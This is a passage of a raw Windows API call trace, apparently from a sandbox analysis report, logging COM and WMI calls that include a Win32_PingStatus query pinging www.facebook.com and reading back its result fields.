dwCapabilities=0x20) returned 0x0 [0138.883] IUnknown:Release (This=0x3538bc) returned 0x2 [0138.883] WbemLocator:IUnknown:Release (This=0x3b4224) returned 0x1 [0138.883] CoTaskMemFree (pv=0x5c78d18) [0138.883] IUnknown:AddRef (This=0x3538b8) returned 0x2 [0138.884] CoGetContextToken (in: pToken=0x572e3d0 | out: pToken=0x572e3d0) returned 0x0 [0138.884] CoGetContextToken (in: pToken=0x572e7e4 | out: pToken=0x572e7e4) returned 0x0 [0138.884] IUnknown:QueryInterface (in: This=0x3538b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e77c | out: ppvObject=0x572e77c*=0x3b420c) returned 0x0 [0138.884] WbemLocator:IRpcOptions:Query (in: This=0x3b420c, pPrx=0x5c6c2e0, dwProperty=2, pdwValue=0x572e870 | out: pdwValue=0x572e870) returned 0x80004002 [0138.884] WbemLocator:IUnknown:Release (This=0x3b420c) returned 0x2 [0138.884] CoGetContextToken (in: pToken=0x572edb4 | out: pToken=0x572edb4) returned 0x0 [0138.884] CoGetContextToken (in: pToken=0x572ed14 | out: pToken=0x572ed14) returned 0x0 [0138.884] IUnknown:QueryInterface (in: This=0x3538b8, riid=0x572ede4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecb0 | out: ppvObject=0x572ecb0*=0x3538b8) returned 0x0 [0138.885] IUnknown:Release (This=0x3538b8) returned 0x2 [0138.885] SysStringLen (param_1=0x0) returned 0x0 [0138.885] IEnumWbemClassObject:Reset (This=0x3538b8) returned 0x0 [0138.888] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0138.888] IEnumWbemClassObject:Next (in: This=0x3538b8, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x22bd71c | out: apObjects=0x5c4f378*=0x5c88840, puReturned=0x22bd71c*=0x1) returned 0x0 [0138.894] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e65c | out: ppvObject=0x572e65c*=0x5c88840) returned 0x0 [0138.894] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e610 | out: ppvObject=0x572e610*=0x0) returned 0x80004002 [0138.894] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e438 | out: ppvObject=0x572e438*=0x0) returned 0x80004002 [0138.895] IUnknown:AddRef (This=0x5c88840) returned 0x3 [0138.895] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df6c | out: ppvObject=0x572df6c*=0x0) returned 0x80004002 [0138.895] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df1c | out: ppvObject=0x572df1c*=0x0) returned 0x80004002 [0138.895] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df28 | out: ppvObject=0x572df28*=0x5c88844) returned 0x0 [0138.895] IMarshal:GetUnmarshalClass (in: This=0x5c88844, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df30 | out: pCid=0x572df30*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.895] IUnknown:Release (This=0x5c88844) returned 0x3 [0138.895] CoGetContextToken (in: pToken=0x572df88 | out: pToken=0x572df88) returned 0x0 [0138.895] CoGetContextToken (in: pToken=0x572e39c | out: pToken=0x572e39c) returned 0x0 [0138.895] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e41c | out: ppvObject=0x572e41c*=0x0) returned 0x80004002 [0138.895] IUnknown:Release (This=0x5c88840) returned 0x2 [0138.895] CoGetContextToken (in: pToken=0x572e984 | out: pToken=0x572e984) returned 0x0 [0138.895] CoGetContextToken (in: pToken=0x572e8e4 | out: pToken=0x572e8e4) returned 0x0 [0138.895] IUnknown:QueryInterface (in: This=0x5c88840, riid=0x572e9b4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9b0 | out: ppvObject=0x572e9b0*=0x5c88840) returned 0x0 [0138.895] IUnknown:AddRef (This=0x5c88840) returned 0x4 [0138.895] IUnknown:Release (This=0x5c88840) returned 0x3 [0138.895] IUnknown:Release (This=0x5c88840) returned 0x2 [0138.895] CoTaskMemFree (pv=0x5c4f378) [0138.896] CoGetContextToken (in: pToken=0x572ecf4 | out: pToken=0x572ecf4) returned 0x0 [0138.896] IUnknown:AddRef (This=0x5c88840) returned 0x3 [0138.896] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0138.896] IEnumWbemClassObject:Next (in: This=0x3538b8, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x22bd71c | out: apObjects=0x5c4f378*=0x0, puReturned=0x22bd71c*=0x0) returned 0x1 [0138.898] CoTaskMemFree (pv=0x5c4f378) [0139.946] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0139.947] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x2290394 | out: apObjects=0x5c4f378*=0x0, puReturned=0x2290394*=0x0) returned 0x1 [0139.967] CoTaskMemFree (pv=0x5c4f378) [0139.967] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0139.967] IUnknown:Release (This=0x353728) returned 0x1 [0139.967] IUnknown:Release (This=0x353728) returned 0x0 [0140.023] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0140.023] IUnknown:Release (This=0x353660) returned 0x1 [0140.023] IUnknown:Release (This=0x353660) returned 0x0 [0140.035] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0140.035] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0140.035] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0140.035] CoUnmarshalInterface (in: pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572ec78 | out: ppv=0x572ec78*=0x3b3d74) returned 0x0 [0140.036] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x3b3d74, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0140.036] WbemLocator:IUnknown:QueryInterface (in: This=0x3b3d74, riid=0x572ed54*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x572ed50 | out: ppvObject=0x572ed50*=0x5c611c8) returned 0x0 [0140.037] WbemLocator:IUnknown:Release (This=0x3b3d74) returned 0x1 [0140.037] IWbemServices:ExecQuery (in: This=0x5c611c8, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.facebook.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x572efbc | out: ppEnum=0x572efbc*=0x353660) returned 0x0 [0140.080] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed84 | out: ppvObject=0x572ed84*=0x353664) returned 0x0 [0140.080] IClientSecurity:QueryBlanket (in: This=0x353664, pProxy=0x353660, pAuthnSvc=0x572edd4, pAuthzSvc=0x572edd0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc, pImpLevel=0x572edbc, pAuthInfo=0x572edc0, pCapabilites=0x572edc4 | out: pAuthnSvc=0x572edd4*=0xa, pAuthzSvc=0x572edd0*=0x0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc*=0x6, pImpLevel=0x572edbc*=0x2, pAuthInfo=0x572edc0, pCapabilites=0x572edc4*=0x1) returned 0x0 [0140.080] IUnknown:Release (This=0x353664) returned 0x1 [0140.080] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed78 | out: ppvObject=0x572ed78*=0x3b3b94) returned 0x0 [0140.081] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed64 | out: ppvObject=0x572ed64*=0x353664) returned 0x0 [0140.081] IClientSecurity:SetBlanket (This=0x353664, pProxy=0x353660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.122] IUnknown:Release (This=0x353664) returned 0x2 [0140.122] WbemLocator:IUnknown:Release (This=0x3b3b94) returned 0x1 [0140.122] CoTaskMemFree (pv=0x5c5ddf0) [0140.122] IUnknown:AddRef (This=0x353660) returned 0x2 [0140.122] CoGetContextToken (in: pToken=0x572e2a4 | out: pToken=0x572e2a4) returned 0x0 [0140.122] CoGetContextToken (in: pToken=0x572e6b4 | out: pToken=0x572e6b4) returned 0x0 [0140.122] IUnknown:QueryInterface (in: This=0x353660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e650 | out: ppvObject=0x572e650*=0x3b3b7c) returned 0x0 [0140.122] WbemLocator:IRpcOptions:Query (in: This=0x3b3b7c, pPrx=0x5c59420, dwProperty=2, pdwValue=0x572e744 | out: pdwValue=0x572e744) returned 0x80004002 [0140.123] WbemLocator:IUnknown:Release (This=0x3b3b7c) returned 0x2 [0140.123] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0140.123] CoGetContextToken (in: pToken=0x572ebe4 | out: pToken=0x572ebe4) returned 0x0 [0140.123] IUnknown:QueryInterface (in: This=0x353660, riid=0x572ecb4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572eb80 | out: ppvObject=0x572eb80*=0x353660) returned 0x0 [0140.123] IUnknown:Release (This=0x353660) returned 0x2 [0140.123] WbemLocator:IUnknown:Release (This=0x5c611c8) returned 0x0 [0140.123] SysStringLen (param_1=0x0) returned 0x0 [0140.124] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f008 | out: puCount=0x572f008*=0x2) returned 0x0 [0140.124] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0x0, pszText=0x0 | out: puBuffLength=0x572f004*=0xf, pszText=0x0) returned 0x0 [0140.124] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f004*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.124] CoGetContextToken (in: pToken=0x572ee5c | out: pToken=0x572ee5c) returned 0x0 [0140.124] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f014 | out: ppEnum=0x572f014*=0x353728) returned 0x0 [0140.237] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eed0 | out: ppvObject=0x572eed0*=0x35372c) returned 0x0 [0140.237] IClientSecurity:QueryBlanket (in: This=0x35372c, pProxy=0x353728, pAuthnSvc=0x572ef20, pAuthzSvc=0x572ef1c, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18, pImpLevel=0x572ef08, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10 | out: pAuthnSvc=0x572ef20*=0xa, pAuthzSvc=0x572ef1c*=0x0, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18*=0x6, pImpLevel=0x572ef08*=0x2, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10*=0x1) returned 0x0 [0140.237] IUnknown:Release (This=0x35372c) returned 0x1 [0140.237] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec4 | out: ppvObject=0x572eec4*=0x3b3d74) returned 0x0 [0140.237] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb0 | out: ppvObject=0x572eeb0*=0x35372c) returned 0x0 [0140.237] IClientSecurity:SetBlanket (This=0x35372c, pProxy=0x353728, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.340] IUnknown:Release (This=0x35372c) returned 0x2 [0140.340] WbemLocator:IUnknown:Release (This=0x3b3d74) returned 0x1 [0140.340] CoTaskMemFree (pv=0x5c5ddc0) [0140.340] IUnknown:AddRef (This=0x353728) returned 0x2 [0140.340] CoGetContextToken (in: pToken=0x572e3e0 | out: pToken=0x572e3e0) returned 0x0 [0140.340] CoGetContextToken (in: pToken=0x572e7f4 | out: pToken=0x572e7f4) returned 0x0 [0140.340] IUnknown:QueryInterface (in: This=0x353728, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e78c | out: ppvObject=0x572e78c*=0x3b3d5c) returned 0x0 [0140.341] WbemLocator:IRpcOptions:Query (in: This=0x3b3d5c, pPrx=0x5c59510, dwProperty=2, pdwValue=0x572e880 | out: pdwValue=0x572e880) returned 0x80004002 [0140.341] WbemLocator:IUnknown:Release (This=0x3b3d5c) returned 0x2 [0140.341] CoGetContextToken (in: pToken=0x572edc4 | out: pToken=0x572edc4) returned 0x0 [0140.341] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0140.341] IUnknown:QueryInterface (in: This=0x353728, riid=0x572edf4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecc0 | out: ppvObject=0x572ecc0*=0x353728) returned 0x0 [0140.341] IUnknown:Release (This=0x353728) returned 0x2 [0140.341] SysStringLen (param_1=0x0) returned 0x0 [0140.341] IEnumWbemClassObject:Reset (This=0x353728) returned 0x0 [0140.352] CoTaskMemAlloc (cb=0x4) returned 0x5c68858 [0140.352] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c68858, puReturned=0x22bdde4 | out: apObjects=0x5c68858*=0x5c50300, puReturned=0x22bdde4*=0x1) returned 0x0 [0140.473] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e66c | out: ppvObject=0x572e66c*=0x5c50300) returned 0x0 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e620 | out: ppvObject=0x572e620*=0x0) returned 0x80004002 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e448 | out: ppvObject=0x572e448*=0x0) returned 0x80004002 [0140.474] IUnknown:AddRef (This=0x5c50300) returned 0x3 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df7c | out: ppvObject=0x572df7c*=0x0) returned 0x80004002 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df2c | out: ppvObject=0x572df2c*=0x0) returned 0x80004002 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df38 | out: ppvObject=0x572df38*=0x5c50304) returned 0x0 [0140.474] IMarshal:GetUnmarshalClass (in: This=0x5c50304, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df40 | out: pCid=0x572df40*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.474] IUnknown:Release (This=0x5c50304) returned 0x3 [0140.474] CoGetContextToken (in: pToken=0x572df98 | out: pToken=0x572df98) returned 0x0 [0140.474] CoGetContextToken (in: pToken=0x572e3ac | out: pToken=0x572e3ac) returned 0x0 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e42c | out: ppvObject=0x572e42c*=0x0) returned 0x80004002 [0140.474] IUnknown:Release (This=0x5c50300) returned 0x2 [0140.474] CoGetContextToken (in: pToken=0x572e994 | out: pToken=0x572e994) returned 0x0 [0140.474] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.474] IUnknown:QueryInterface (in: This=0x5c50300, riid=0x572e9c4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9c0 | out: ppvObject=0x572e9c0*=0x5c50300) returned 0x0 [0140.474] IUnknown:AddRef (This=0x5c50300) returned 0x4 [0140.474] IUnknown:Release (This=0x5c50300) returned 0x3 [0140.474] IUnknown:Release (This=0x5c50300) returned 0x2 [0140.474] CoTaskMemFree (pv=0x5c68858) [0140.475] CoGetContextToken (in: pToken=0x572ed04 | out: pToken=0x572ed04) returned 0x0 [0140.475] IUnknown:AddRef (This=0x5c50300) returned 0x3 [0140.475] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572f004*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f084*=0, plFlavor=0x572f080*=0 | out: pVal=0x572f004*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x572f084*=3, plFlavor=0x572f080*=64) returned 0x0 [0140.475] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572efe8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f06c*=0, plFlavor=0x572f068*=0 | out: pVal=0x572efe8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x572f06c*=8, plFlavor=0x572f068*=64) returned 0x0 [0140.475] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.475] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.476] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0140.476] SetEvent (hEvent=0x3f4) returned 1 [0140.476] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572efc0*=0x4e0, lpdwindex=0x572ede4 | out: lpdwindex=0x572ede4) returned 0x0 [0140.479] CoGetContextToken (in: pToken=0x572ee94 | out: pToken=0x572ee94) returned 0x0 [0140.479] CoGetContextToken (in: pToken=0x572edf4 | out: pToken=0x572edf4) returned 0x0 [0140.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x572eec4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x37b7b8) returned 0x0 [0140.479] WbemDefPath:IUnknown:AddRef (This=0x37b7b8) returned 0x3 [0140.480] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x2 [0140.480] WbemDefPath:IWbemPath:SetText (This=0x37b7b8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f040 | out: puCount=0x572f040*=0x2) returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0x0, pszText=0x0 | out: puBuffLength=0x572f03c*=0xf, pszText=0x0) returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f03c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0140.480] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.480] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be7b4*=0, plFlavor=0x22be7b8*=0 | out: pVal=0x572efa4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22be7b4*=8, plFlavor=0x22be7b8*=0) returned 0x0 [0140.480] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.480] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.480] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22be7b4*=8, plFlavor=0x22be7b8*=0 | out: pVal=0x572efac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22be7b4*=8, plFlavor=0x22be7b8*=0) returned 0x0 [0140.480] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.480] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0140.481] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0140.481] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.481] IWbemClassObject:Get (in: This=0x5c50300, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, 